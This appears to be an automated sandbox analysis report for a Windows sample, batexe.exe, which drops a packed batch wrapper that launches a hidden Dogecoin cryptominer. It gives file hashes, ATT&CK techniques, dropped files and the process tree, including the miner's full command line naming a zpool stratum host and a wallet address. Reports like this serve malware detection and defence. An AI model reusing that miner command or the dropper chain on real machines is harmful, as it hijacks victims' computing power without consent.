73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
307s
max time network
320s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23/02/2024, 15:33

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1028	b2e.exe
3176	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3176	cpuminer-sse2.exe
3176	cpuminer-sse2.exe
3176	cpuminer-sse2.exe
3176	cpuminer-sse2.exe
3176	cpuminer-sse2.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2620-0-0x0000000000400000-0x000000000393A000-memory.dmp	upx
behavioral2/memory/2620-2-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2620 wrote to memory of 1028	2620	batexe.exe	89
PID 2620 wrote to memory of 1028	2620	batexe.exe	89
PID 2620 wrote to memory of 1028	2620	batexe.exe	89
PID 1028 wrote to memory of 244	1028	b2e.exe	90
PID 1028 wrote to memory of 244	1028	b2e.exe	90
PID 1028 wrote to memory of 244	1028	b2e.exe	90
PID 244 wrote to memory of 3176	244	cmd.exe	93
PID 244 wrote to memory of 3176	244	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2620
- C:\Users\Admin\AppData\Local\Temp\3738.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\3738.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\3738.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\68B8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:244
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\3738.tmp\b2e.exe

Filesize
14.9MB

MD5
23ae93b737572b7a3f77fa3e1fe6e089

SHA1
2adfe683db7e24c084fc629593bd90bec1c86b3d

SHA256
7bc4e8256bbbb19ade790be9696c0033a040f10410ccbf50106eb485dba9d06c

SHA512
1ca03ea738ef15acd2a5047ba91d9c850ffc5a92a9d32e6013045016804f273af8b04c75985716b79db76791620bde657131f6cb351143a77077b9f33e6e3e3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\3738.tmp\b2e.exe

Filesize
4.8MB

MD5
15bedbacfa4eca51d4f266ed8af73745

SHA1
e5fce71e9deb0d2615f73a905bf1c0717fbfdcc7

SHA256
5182c5eea9112884f9e8c96b583b56928cf0a4cb42e289bda727625b26df58b8

SHA512
3460446dcb9085e55bae0d8e5b13d98b57f195f371c9724194238219d92f80052013b5fc5d3c038362abb12970fcdd33f0e4e741f9a377d1d5f1365800663ce7

Download Submit
C:\Users\Admin\AppData\Local\Temp\3738.tmp\b2e.exe

Filesize
6.1MB

MD5
12689c6eb8285d78d3d9bf37ba3e1cdf

SHA1
b3d8ad5ed28e003cbbf00053ea63612baa96ee33

SHA256
fccbe60c5e3d598f7ae6b29817a5b17f91141363bdf6313596afc0f9240bb374

SHA512
96796e69aa6c20485efc6e7df75073909097e277aa9f5c298356ffe2e101ce65053d984e22baed3c008f70c7b1c8379444839ebf2a222d9cfa075ba3154a365d

Download Submit
C:\Users\Admin\AppData\Local\Temp\68B8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
15bbe1e8aa36bd041ef374e4a718b3ff

SHA1
aeecafa9b469b1817448cceb28fa01383c6911cd

SHA256
a9190158d575ccd04cd992d45282d4a9254d62cce2e325216f06bece8fbf4bff

SHA512
4bc9647fc6d8de56eecc627c487d795d374f2da7a71b6b09bdfa9e518cb67fe12d5d0eeb13ff83c7a38eb41acfdf44b5397087c60c3542cbe3215969551f076a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
a2ba747d9f18ed4ae822223da1f54adb

SHA1
3ec42727ed1a2edba4580fe9c4afb88244b5bed6

SHA256
26ae6d0d63c2fe4eb4fd300167704ee6b558229c4e70882dcea68f8c3269a146

SHA512
42a78678bae5027c7e4555669e17bec2f72bf5b10a849d0b7416b045f5cac1bdca5b0b456a8785882f96ad4a9ca51807701d6c195983cc09884aeb56ab5272f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.4MB

MD5
b07ccc31ece2cc5fef71319ce1732eb8

SHA1
9a2d68cad177473a3175870fc358cdb4f6595afb

SHA256
7bbe299f78dc1a8a04dea9d6607fa8e6255bed4e7574f189942ea9d5d402ba30

SHA512
510680e9b34b48c14ee32939d20f47c62b2f24238e66c944930d0b9076bd14142b72727f9514970e31a48035eef80ccd80de6410564e7183e8de11b5399cc13c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1028-10-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1028-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2620-2-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2620-0-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3176-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3176-47-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3176-48-0x0000000066240000-0x00000000662D8000-memory.dmp

Filesize
608KB

Download
memory/3176-49-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3176-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3176-46-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3176-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3176-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3176-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3176-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3176-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3176-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3176-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download